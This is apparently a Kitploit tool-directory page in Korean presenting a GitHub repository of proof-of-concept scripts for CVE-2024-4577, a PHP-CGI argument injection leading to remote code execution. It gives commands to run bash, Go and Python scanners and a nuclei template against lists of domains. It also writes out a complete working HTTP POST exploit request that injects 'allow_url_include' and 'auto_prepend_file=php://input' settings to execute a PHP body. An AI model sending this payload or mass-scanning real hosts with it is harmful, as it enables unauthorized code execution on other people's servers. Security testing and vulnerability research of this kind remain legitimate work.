Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-4577-PHP-RCE — PHP RCE PoC for CVE-2024-4577 written in bash, go, python and a nuclei template | Kitploit
도구/GitHubGitHub/zephrfish/cve-2024-4577-php-rce
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubzephrfish/cve-2024-4577-php-rce

CVE-2024-4577-PHP-RCE

PHP RCE PoC for CVE-2024-4577 written in bash, go, python and a nuclei template

저장소 보기
331321개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

PHP RCE PoC

CVE-2024-4577: PHP-CGI의 인자 주입

개요

이 저장소에는 PHP-CGI의 인자 주입 문제인 CVE-2024-4577 취약점을 확인하는 스크립트가 포함되어 있습니다. 제공된 Bash, Go, Python 스크립트를 사용하여 도메인 목록에서 이 취약점을 테스트할 수 있습니다. Nuclei YAML 파일도 함께 공개했습니다.

사용 방법

Bash 스크립트

Bash 스크립트를 사용하려면 다음 명령어를 실행하세요:

root@kitploit:~
./CVE-2024-4577.sh /path/to/domains-list

Go 스크립트

먼저 Go 스크립트를 CVE-2024-4577.go 파일로 저장합니다. Go 스크립트를 빌드하고 실행하려면:

  1. Go 스크립트를 바이너리로 컴파일합니다:

    root@kitploit:~
    go build -o CVE-2024-4577 CVE-2024-4577.go
    
  2. 도메인 목록 파일을 인수로 하여 바이너리를 실행합니다:

    root@kitploit:~
    ./CVE-2024-4577 /path/to/domains-list
    

Python 스크립트

먼저 Python 스크립트를 CVE-2024-4577.py 파일로 저장합니다. Python 스크립트를 실행하려면:

  1. requests 라이브러리가 설치되어 있는지 확인합니다:

    root@kitploit:~
    pip install requests
    
  2. 도메인 목록 파일을 인수로 하여 Python 스크립트를 실행합니다:

    root@kitploit:~
    python CVE-2024-4577.py /path/to/domains-list
    
  3. (선택 사항) 취약한 호스트만 출력하려면:

    root@kitploit:~
    python CVE-2024-4577.py /path/to/domains-list --quiet
    

개념 증명(POC) 설명

취약점을 수동으로 테스트하려면 다음 POST 요청을 보낼 수 있습니다:

root@kitploit:~
POST /test.hello?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

<?php phpinfo(); ?>

Nuclei 템플릿

또한 취약한 인스턴스를 스캔하기 위한 Nuclei 템플릿도 만들었습니다. 이 템플릿은 v3 레이아웃 체계를 사용하며 랩 환경에서 테스트되었습니다:

root@kitploit:~
nuclei -t CVE-2024-4577.yaml -u <target-url>

도메인 목록 예시

도메인 목록은 올바르게 읽히도록 http/https를 앞에 붙여야 합니다.

root@kitploit:~
http://example.com
http://testsite.com
http://vulnerablesite.com

예시 출력

도메인이 취약한 것으로 확인되면 출력은 다음과 같습니다:

root@kitploit:~
http://example.com: Vulnerable
http://vulnerablesite.com: Vulnerable
도구 다운로드